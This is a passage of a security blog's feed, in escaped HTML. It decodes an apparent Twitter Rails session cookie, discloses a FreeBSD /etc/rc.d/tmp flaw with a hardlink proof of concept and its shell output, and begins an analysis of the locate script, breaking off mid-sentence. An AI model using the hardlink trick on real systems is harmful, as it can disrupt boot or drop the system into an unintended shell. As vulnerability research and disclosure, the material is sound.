/&gt;&lt;pre&gt;BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1%0AODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz%0AOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6%0AOkZsYXNoSGFzaHsABjoKQHVzZWR7AA%3D%3D--155a3cf21b10246345bea30752bde45e6f841de0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, the initial %25's were transcoded to %. This means the URL needs to be decoded once more:&lt;br /&gt;&lt;pre&gt;BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1&lt;br /&gt;ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkz&lt;br /&gt;OTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6&lt;br /&gt;OkZsYXNoSGFzaHsABjoKQHVzZWR7AA==--155a3cf21b10246345bea30752bde45e6f841de0&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;That is some well-formed Base64 right there! Err, except for the "--155[...]" at the end. Base64 is described in &lt;a href="http://tools.ietf.org/html/rfc1421"&gt;RFC 1421&lt;/a&gt;, Section 4.3.2.4. Implementations of Base64 will add or neglect a linefeed. WebScarab wants a string with a linefeed at the 76nd character, whereas system utils such as uudecode on a Mac or FreeBSD want the linefeed at a specific count (after the 72nd character, IIRC). Here's a quick and dirty python script that just wants a full line without any linefeeds:&lt;br /&gt;&lt;br /&gt;&lt;pre&gt;import base64&lt;br /&gt;mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="&lt;br /&gt;print base64.b64decode(mystr)&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Notice that everything from the dashes onwards has been removed, since this is not part of the Base64 string. Running this outputs the following:&lt;br /&gt;&lt;pre&gt;python&lt;br /&gt;Python 2.5.1 (r251:54863, Jun 17 2009, 20:37:34) &lt;br /&gt;[GCC 4.0.1 (Apple Inc. build 5465)] on darwin&lt;br /&gt;Type "help", "copyright", "credits" or "license" for more information.&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; import base64&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; mystr = "BAh7CToMY3NyZl9pZCIlMTgwZDRhNTIyMDNjNjFlNjVkYzgyZjk5YmNiMjM1ODQ6EXRyYW5zX3Byb21wdDA6B2lkIiU5OGViMmNkMmEwNjhiMjQ0YjA3ZTkzOTU4NDQyZjk4MiIKZmxhc2hJQzonQWN0aW9uQ29udHJvbGxlcjo6Rmxhc2g6OkZsYXNoSGFzaHsABjoKQHVzZWR7AA=="&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; print base64.b64decode(mystr)&lt;br /&gt;{ :&lt;br /&gt;         csrf_id"%180d4a52203c61e65dc82f99bcb23584:trans_prompt0:id"%98eb2cd2a068b244b07e93958442f982"&lt;br /&gt;flashIC:'ActionController::Flash::FlashHash{:&lt;br /&gt;@used{&lt;br /&gt;&amp;gt;&amp;gt;&amp;gt; &lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Running this as a script, saving the output, and running my favorite file identification tool, file(1), reports this:&lt;br /&gt;&lt;pre&gt;python b64.py &amp;gt; b64.bin &amp;amp;&amp;amp; file b64.bin&lt;br /&gt;b64.bin: data&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;:-( Sad Panda face...&lt;br /&gt;&lt;br /&gt;But, look at the output from before. Happy Panda face! ;-) The first handful of hits on Google for the string "flashIC:'ActionController::Flash::FlashHash" returns references to &lt;a href="http://www.ruby-lang.org/"&gt;Ruby&lt;/a&gt; and &lt;a href="http://www.rubyonrails.org/"&gt;Ruby on Rails&lt;/a&gt;. Looking at the first hit, "Class&lt;br /&gt;ActionController::Flash::FlashHash" is a gem (pun intended)!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;Who Am I?&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;What do we know? We have a (possible) Twitter session identifier (inferring, since it was sent to us by Twitter and because of its name, _twitter_sess) that is a double URL encoded, Base64 blob of data that seems to relate to the Ruby on Rails, or at least Ruby, in some way. I downloaded Ruby on Rails 2.3.3 and did a quick grep for "Flash::FlashHash" in the source code. This is what I got:&lt;br /&gt;&lt;pre&gt;setenv grepstr 'Flash::FlashHash'&lt;br /&gt;find . -exec grep -l $grepstr \{\} \;&lt;br /&gt;./doc/api/classes/ActionController/Flash/FlashHash.html&lt;br /&gt;./doc/api/classes/ActionController/Flash.html&lt;br /&gt;./doc/api/fr_class_index.html&lt;br /&gt;./doc/api/fr_method_index.html&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/test_process.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;So, a couple HTML files and two .rb file. I'm not a Ruby coder. I briefly looked at Ruby years ago and it hurt my eyes. Python is my friend. So, I'll infer that the .rb files are Ruby source code files. These two files seem to be related to unit tests. Let's change the search string a bit:&lt;br /&gt;&lt;pre&gt;setenv grepstr 'FlashHash'&lt;br /&gt;find . -exec grep -l $grepstr \{\} \;&lt;br /&gt;./doc/api/classes/ActionController/Flash/FlashHash.html&lt;br /&gt;./doc/api/classes/ActionController/Flash.html&lt;br /&gt;./doc/api/classes/ActionController/TestProcess.html&lt;br /&gt;./doc/api/fr_class_index.html&lt;br /&gt;./doc/api/fr_method_index.html&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/flash.rb&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/test_process.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/flash.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/test_process.rb&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;OK, so one more HTML file and two more .rb files. The "./vendor/rails/actionpack/lib/action_controller/flash.rb" file seems interesting. Opening that up and scanning the file quickly shows some module and class definitions. But, here's something interesting:&lt;br /&gt;&lt;pre&gt;      def store(session, key = "flash")&lt;br /&gt;        return if self.empty?&lt;br /&gt;        session[key] = self&lt;br /&gt;      end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;This caught my eye pretty quickly. Inferring again, we have a method called "store" that wants something called "session" and "key", which is set to "flash". When I see key like this, I think of a hash data structure. The first check seems to look to see if session is empty, and if so, bail. (This implies that something else sets up session.)  Then, what looks like a hash key action, sets the key called "key" to the object, "self". So, this flash object is stored in session.&lt;br /&gt;&lt;br /&gt;Seeing that "session" is used here, let's look for that:&lt;br /&gt;&lt;pre&gt;setenv grepstr 'session'&lt;br /&gt;find . -exec grep -l $grepstr \{\} \;                ./CHANGELOG&lt;br /&gt;./doc/api/classes/ActionController/Base.html&lt;br /&gt;./doc/api/classes/ActionController/Cookies.html&lt;br /&gt;./doc/api/classes/ActionController/Dispatcher.html&lt;br /&gt;./doc/api/classes/ActionController/Filters/ClassMethods.html&lt;br /&gt;./doc/api/classes/ActionController/Flash/FlashHash.html&lt;br /&gt;[...]&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Err, 205 documents later... That's a lot. Need a better search:&lt;br /&gt;&lt;pre&gt;find . -name session\*.rb&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/session_management.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb&lt;br /&gt;./vendor/rails/activerecord/lib/active_record/session_store.rb&lt;br /&gt;./vendor/rails/activerecord/pkg/activerecord-2.3.3/lib/active_record/session_store.rb&lt;br /&gt;./vendor/rails/railties/configs/initializers/session_store.rb&lt;br /&gt;./vendor/rails/railties/lib/rails_generator/generators/components/session_migration/session_migration_generator.rb&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Ah, much better! That first hit, ./vendor/rails/actionpack/lib/action_controller/session_management.rb, looks good. Opening that up and scanning the documentation shows this:&lt;br /&gt;&lt;pre&gt;    module ClassMethods&lt;br /&gt;      # Set the session store to be used for keeping the session data between requests.&lt;br /&gt;      # By default, sessions are stored in browser cookies (&lt;tt&gt;:cookie_store&lt;/tt&gt;),&lt;br /&gt;      # but you can also specify one of the other included stores (&lt;tt&gt;:active_record_store&lt;/tt&gt;,&lt;br /&gt;      # &lt;tt&gt;:mem_cache_store&lt;/tt&gt;, or your own custom class.&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;For emphasis:&lt;br /&gt;&lt;blockquote&gt;By default, sessions are stored in browser cookies (&lt;tt&gt;:cookie_store&lt;/tt&gt;)&lt;/blockquote&gt;&lt;br /&gt;K. The rest of the file seems light. Let's look for cookie_store only in .rb files:&lt;br /&gt;&lt;pre&gt;setenv grepstr 'cookie_store'&lt;br /&gt;find . -name lib/\*.rb -exec grep -l $grepstr \{\} \;&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/session_management.rb&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session_management.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/test/controller/session/cookie_store_test.rb&lt;br /&gt;./vendor/rails/actionpack/test/controller/session/cookie_store_test.rb&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;Opening "./vendor/rails/actionpack/lib/action_controller.rb" and scanning seems to me to be a main file that loads other includes. Looking for "session", I come across this snippet:&lt;br /&gt;&lt;pre&gt;  module Session&lt;br /&gt;    autoload :AbstractStore, 'action_controller/session/abstract_store'&lt;br /&gt;    autoload :CookieStore, 'action_controller/session/cookie_store'&lt;br /&gt;    autoload :MemCacheStore, 'action_controller/session/mem_cache_store'&lt;br /&gt;  end&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;I'm curious on the cookie store for the session. Let's take a look for cookie_store.rb.&lt;br /&gt;&lt;pre&gt;find . -name cookie_store.rb&lt;br /&gt;./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb&lt;br /&gt;./vendor/rails/actionpack/pkg/actionpack-2.3.3/lib/action_controller/session/cookie_store.rb&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;"./vendor/rails/actionpack/lib/action_controller/session/cookie_store.rb" looks like it matches "action_controller/session/cookie_store". Open that file up, grab a drink of choice and I'll follow-up in Part 2.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-7355172621517186624?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/7355172621517186624/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=7355172621517186624' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7355172621517186624'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/7355172621517186624'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2010/02/twitter-session-token-fun-part-1.html' title='Twitter Session Token Fun, Part 1'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-8876893811081600330</id><published>2009-12-07T14:13:00.015-06:00</published><updated>2009-12-08T00:13:22.191-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='/etc/rc.d/tmp'/><category scheme='http://www.blogger.com/atom/ns#' term='vulnerability'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Issue with FreeBSD /etc/rc.d/tmp Script</title><content type='html'>&lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt; has a minor issue with the current &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/rc.d/tmp?rev=1.40;content-type=text%2Fplain"&gt;/etc/rc.d/tmp&lt;/a&gt; script. Here's the current script:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;#!/bin/sh&lt;br /&gt;#&lt;br /&gt;# Copyright (c) 1999  Matt Dillon&lt;br /&gt;# All rights reserved.&lt;br /&gt;#&lt;br /&gt;# Redistribution and use in source and binary forms, with or without&lt;br /&gt;# modification, are permitted provided that the following conditions&lt;br /&gt;# are met:&lt;br /&gt;# 1. Redistributions of source code must retain the above copyright&lt;br /&gt;#    notice, this list of conditions and the following disclaimer.&lt;br /&gt;# 2. Redistributions in binary form must reproduce the above copyright&lt;br /&gt;#    notice, this list of conditions and the following disclaimer in the&lt;br /&gt;#    documentation and/or other materials provided with the distribution.&lt;br /&gt;#&lt;br /&gt;# THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND&lt;br /&gt;# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE&lt;br /&gt;# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE&lt;br /&gt;# ARE DISCLAIMED.  IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE&lt;br /&gt;# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL&lt;br /&gt;# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS&lt;br /&gt;# OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)&lt;br /&gt;# HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT&lt;br /&gt;# LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY&lt;br /&gt;# OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF&lt;br /&gt;# SUCH DAMAGE.&lt;br /&gt;#&lt;br /&gt;# $FreeBSD: src/etc/rc.d/tmp,v 1.40 2009/05/17 08:25:02 danger Exp $&lt;br /&gt;#&lt;br /&gt;&lt;br /&gt;# PROVIDE: tmp&lt;br /&gt;# REQUIRE: mountcritremote&lt;br /&gt;&lt;br /&gt;. /etc/rc.subr&lt;br /&gt;&lt;br /&gt;name="tmp"&lt;br /&gt;stop_cmd=':'&lt;br /&gt;&lt;br /&gt;load_rc_config $name&lt;br /&gt;&lt;br /&gt;# If we do not have a writable /tmp, create a memory&lt;br /&gt;# filesystem for /tmp.  If /tmp is a symlink (e.g. to /var/tmp,&lt;br /&gt;# then it should already be writable).&lt;br /&gt;#&lt;br /&gt;case "${tmpmfs}" in&lt;br /&gt;[Yy][Ee][Ss])&lt;br /&gt; if ! /bin/df /tmp | grep -q "^/dev/md[0-9]"; then&lt;br /&gt;  mount_md ${tmpsize} /tmp "${tmpmfs_flags}"&lt;br /&gt;  chmod 01777 /tmp&lt;br /&gt; fi&lt;br /&gt; ;;&lt;br /&gt;[Nn][Oo])&lt;br /&gt; ;;&lt;br /&gt;*)&lt;br /&gt; if /bin/mkdir -p /tmp/.diskless 2&gt; /dev/null; then&lt;br /&gt;  rmdir /tmp/.diskless&lt;br /&gt; else&lt;br /&gt;  if [ -h /tmp ]; then&lt;br /&gt;   echo "*** /tmp is a symlink to a non-writable area!"&lt;br /&gt;   echo "dropping into shell, ^D to continue anyway."&lt;br /&gt;   /bin/sh&lt;br /&gt;  else&lt;br /&gt;   mount_md ${tmpsize} /tmp "${tmpmfs_flags}"&lt;br /&gt;   chmod 01777 /tmp&lt;br /&gt;  fi&lt;br /&gt; fi&lt;br /&gt; ;;&lt;br /&gt;esac&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;The default behavior of tmpmfs (defined in &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/defaults/rc.conf?rev=1.358.2.4;content-type=text%2Fplain"&gt;/etc/defaults/rc.conf&lt;/a&gt;) is set to AUTO. This causes the '*' case to be hit in the script. If a local user creates a file (not a directory) in /tmp called .diskless and the system is rebooted or the script is called directly, the system will either drop into /bin/sh prior to reaching DAEMON or the system will remount /tmp with a potentially smaller size than expected. Both of these conditions are probably not ideal and the prior condition could lead to a boot-up DoS, depending upon local system configurations. The latter condition is harder to fix once the system is in multi-user mode, and especially if users connect via SSH. This is because the /tmp directory will contain open files and/or sockets. So, a fix in this case would also require dropping the system into single-user mode. Because FreeBSD still allows a user to hardlink to a file that is not owned by that user (which has caused at least &lt;a href="http://www.freebsd.org/cgi/query-pr.cgi?pr=conf/89589"&gt;one issue&lt;/a&gt; in the past), the user can cause some shenanigans:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt; echo $uid&lt;br /&gt;1001&lt;br /&gt;&gt; ll /tmp&lt;br /&gt;total 12&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .ICE-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .X11-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .XIM-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .font-unix&lt;br /&gt;drwxrwxr-x  2 root  operator  512 Dec  7 15:10 .snap&lt;br /&gt;-rw-r--r--  1 root  wheel       0 Dec  7 15:25 foo&lt;br /&gt;&gt; cd /tmp&lt;br /&gt;&gt; ln foo .diskless&lt;br /&gt;&gt; ll /tmp&lt;br /&gt;total 12&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .ICE-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .X11-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .XIM-unix&lt;br /&gt;-rw-r--r--  2 root  wheel       0 Dec  7 15:25 .diskless&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .font-unix&lt;br /&gt;drwxrwxr-x  2 root  operator  512 Dec  7 15:10 .snap&lt;br /&gt;-rw-r--r--  2 root  wheel       0 Dec  7 15:25 foo&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;The user could hide his or her actions because the hardlink would not show who setup the hardlink, assuming a file exists in /tmp that does not belong to the user. Rather, it shows the current permissions on the hardlinked file.&lt;br /&gt;&lt;br /&gt;My initial idea at a fix is to include a new variable in &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/rc.d/cleartmp?rev=1.19;content-type=text%2Fplain"&gt;/etc/rc.d/cleartmp&lt;/a&gt; that would be set to YES in /etc/defaults/rc.conf. The variable would be similar to clear_tmp_X (maybe called clear_tmp_safe?), calling a routine to wipe and remake the directory /tmp/.diskless. Once this script was ran by root, a subsequent call to /etc/rc.d/tmp upon reboot or directory would act right for most cases.&lt;br /&gt;&lt;br /&gt;Diskless clients should be OK, though, as long as /tmp/.diskless is not included in &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/mtree/BSD.root.dist?rev=1.81.2.1;content-type=text%2Fplain;only_with_tag=RELENG_8"&gt;/etc/mtree/BSD.root.dist&lt;/a&gt;. When /etc/rc.d/cleartmp would run the first time, it would already be on a memory /tmp file system (assuming /conf doesn't contain anything to point to a residual mount point that could have been tampered). Clients also using memory-backed /tmp should be OK, since the variable will force a creation of a memory-backed /tmp mount point. But, some other eyes should look at this prior to changing the behavior.&lt;br /&gt;&lt;br /&gt;When I went through a setup of FreeBSD 8.0 using standard / default / auto-assign values, the system will create its own /tmp mountpoint with a size of 500MB or so. So, if one considered this a "default" setup, then having the case of /tmp remounted (and possibly filling up because of the 20MB size) would merit a &lt;a href="http://www.first.org/cvss/cvss-guide.html"&gt;CVSSv2&lt;/a&gt; score probably no higher than 1.9 &lt;a href="http://nvd.nist.gov/cvss.cfm?name=&amp;amp;vector=%28AV:L/AC:M/Au:N/C:N/I:N/A:P%29&amp;amp;version=2"&gt;(AV:L/AC:M/Au:N/C:N/I:N/A:P)&lt;/a&gt;. Worst case, the CVSSv2 score would merit a 4.7 &lt;a href="http://nvd.nist.gov/cvss.cfm?name=&amp;amp;vector=%28AV:L/AC:M/Au:N/C:N/I:N/A:C%29&amp;amp;version=2"&gt;(AV:L/AC:M/Au:N/C:N/I:N/A:C)&lt;/a&gt;, in my opinion.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;Appendix&lt;/span&gt;&lt;br /&gt;Sample attack on a symlink'd /tmp:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt; ls -la /tmp&lt;br /&gt;lrwxr-xr-x  1 root  wheel  7 Dec  7 15:55 /tmp -&gt; var/tmp&lt;br /&gt;&gt; cd /tmp&lt;br /&gt;&gt; ll&lt;br /&gt;total 12&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix&lt;br /&gt;-rw-r--r--  1 root  wheel    0 Dec  7 15:55 foo&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover&lt;br /&gt;&gt; ln foo .diskless&lt;br /&gt;&gt; ll&lt;br /&gt;total 12&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .ICE-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .X11-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .XIM-unix&lt;br /&gt;-rw-r--r--  2 root  wheel    0 Dec  7 15:55 .diskless&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:55 .font-unix&lt;br /&gt;-rw-r--r--  2 root  wheel    0 Dec  7 15:55 foo&lt;br /&gt;drwxrwxrwt  2 root  wheel  512 Dec  7 15:44 vi.recover&lt;br /&gt;&gt; su -&lt;br /&gt;Password:&lt;br /&gt;test-8# /etc/rc.d/tmp start&lt;br /&gt;*** /tmp is a symlink to a non-writable area!&lt;br /&gt;dropping into shell, ^D to continue anyway.&lt;br /&gt;#&lt;br /&gt;&lt;/pre&gt;&lt;br /&gt;&lt;br /&gt;Sample attack on a mounted /tmp:&lt;br /&gt;&lt;pre&gt;&lt;br /&gt;&gt; mount&lt;br /&gt;/dev/ad0s1a on / (ufs, local)&lt;br /&gt;devfs on /dev (devfs, local, multilabel)&lt;br /&gt;/dev/ad0s1f on /usr (ufs, local, soft-updates)&lt;br /&gt;/dev/ad0s1d on /var (ufs, local, soft-updates)&lt;br /&gt;/dev/ad0s1e on /tmp (ufs, local, soft-updates)&lt;br /&gt;&gt; df /tmp&lt;br /&gt;Filesystem  1K-blocks Used  Avail Capacity  Mounted on&lt;br /&gt;/dev/ad0s1e    507630   16 467004     0%    /tmp&lt;br /&gt;&gt; ll /tmp&lt;br /&gt;total 14&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .ICE-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .X11-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .XIM-unix&lt;br /&gt;drwxrwxrwt  2 root  wheel     512 Dec  7 15:22 .font-unix&lt;br /&gt;drwxrwxr-x  2 root  operator  512 Dec  7 15:10 .snap&lt;br /&gt;-rw-r--r--  1 root  wheel       0 Dec  7 15:25 foo&lt;br /&gt;&gt; ln foo .diskless&lt;br /&gt;&gt; su -&lt;br /&gt;Password:&lt;br /&gt;test-8# /etc/rc.d/tmp start&lt;br /&gt;test-8# mount&lt;br /&gt;/dev/ad0s1a on / (ufs, local)&lt;br /&gt;devfs on /dev (devfs, local, multilabel)&lt;br /&gt;/dev/ad0s1f on /usr (ufs, local, soft-updates)&lt;br /&gt;/dev/ad0s1d on /var (ufs, local, soft-updates)&lt;br /&gt;/dev/ad0s1e on /tmp (ufs, local, soft-updates)&lt;br /&gt;/dev/md0 on /tmp (ufs, local)&lt;br /&gt;test-8# df /tmp&lt;br /&gt;Filesystem 1K-blocks Used Avail Capacity  Mounted on&lt;br /&gt;/dev/md0       19566    4 17998     0%    /tmp&lt;br /&gt;test-8# ll /tmp&lt;br /&gt;total 2&lt;br /&gt;drwxrwxr-x  2 root  operator  512 Dec  7 15:59 .snap&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9454785-8876893811081600330?l=blog.cykyc.org' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://blog.cykyc.org/feeds/8876893811081600330/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=9454785&amp;postID=8876893811081600330' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8876893811081600330'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9454785/posts/default/8876893811081600330'/><link rel='alternate' type='text/html' href='http://blog.cykyc.org/2009/12/issue-with-freebsd-etcrcdtmp-script.html' title='Issue with FreeBSD /etc/rc.d/tmp Script'/><author><name>cykyc</name><uri>http://www.blogger.com/profile/06576743033720064723</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9454785.post-7627845593623194288</id><published>2009-12-06T15:46:00.005-06:00</published><updated>2009-12-06T16:33:19.141-06:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='freebsd'/><category scheme='http://www.blogger.com/atom/ns#' term='locate'/><category scheme='http://www.blogger.com/atom/ns#' term='security'/><category scheme='http://www.blogger.com/atom/ns#' term='hacking'/><title type='text'>Near Miss Issue with FreeBSD periodic locate Script</title><content type='html'>Whilst looking around at the &lt;a href="http://www.freebsd.org/cgi/man.cgi?query=periodic&amp;amp;apropos=0&amp;amp;sektion=0&amp;amp;manpath=FreeBSD+8.0-RELEASE&amp;amp;format=html"&gt;periodic&lt;/a&gt; scripts for &lt;a href="http://www.freebsd.org/"&gt;FreeBSD&lt;/a&gt;, I noticed something interesting with the &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/etc/periodic/weekly/310.locate?rev=1.7.10.1.2.1;content-type=text%2Fplain"&gt;locate(1)&lt;/a&gt; script:&lt;br /&gt;&lt;pre&gt; locdb=/var/db/locate.database&lt;br /&gt;&lt;br /&gt; touch $locdb &amp;amp;&amp;amp; rc=0 || rc=3&lt;br /&gt; chown nobody $locdb || rc=3&lt;br /&gt; chmod 644 $locdb || rc=3&lt;br /&gt;&lt;br /&gt; cd /&lt;br /&gt; echo /usr/libexec/locate.updatedb | nice -n 5 su -fm nobody || rc=3&lt;br /&gt; chmod 444 $locdb || rc=3;;&lt;br /&gt;&lt;/pre&gt;As root, the script allows the nobody account read-write access to the file and subsequently runs the locate commands as nobody. This allows only public or nobody-owned files to be recorded in the locate database, which is usually desired. If the script ran as root, then everyone's files would be listed, which may leak some private information.&lt;br /&gt;&lt;br /&gt;At first, I tried to see, if as nobody, I could symlink the file to something else, such as /etc/master.passwd or /etc/spwd.db.  There seems to exist a possible race condition between the execution of the touch, chown, chmod and then the echo'd niced su command ran as nobody (which would open the file, making an unlink difficult). And since the nobody account is often used by ports (and inetd in one case), a vulnerability in that port could grant access to the nobody account. (Un)fortunately, /var/db is not writable by the nobody account. Because of this, even though nobody owns the file and has proper permission to read-write the file, the account does not have the ability to modify the directory. If the account cannot modify the directory, the account cannot create or remove the file.&lt;br /&gt;&lt;br /&gt;With that vector not possible, the next thought was to explore the nobody account's ability  to modify a file that others will read. If there existed some type of vulnerability within locate, such as memory corruption that could lead to exploitation, the locate db could be used as the vector. I'm &lt;a href="http://twitter.com/spendergrsec/status/6235007697"&gt;not&lt;/a&gt; &lt;a href="http://twitter.com/cykyc/status/6235921113"&gt;the&lt;/a&gt; &lt;a href="http://twitter.com/spendergrsec/status/6235954488"&gt;best&lt;/a&gt; when it comes to spotting vulnerabilities, so by no means trust my analysis. The only "issue" I noticed was in &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/locate/locate/locate.c?rev=1.19;content-type=text%2Fplain"&gt;locate.c.&lt;/a&gt; search_mmap won't munmap and close the file descriptor if fastfind_mmap (via &lt;a href="http://www.freebsd.org/cgi/cvsweb.cgi/src/usr.bin/locate/locate/fastfind.c?rev=1.16;content-type=text%2Fplain"&gt;fastfind.c&lt;/a&gt;) exits abruptly. This can occur here:&lt;br /&gt;&lt;br 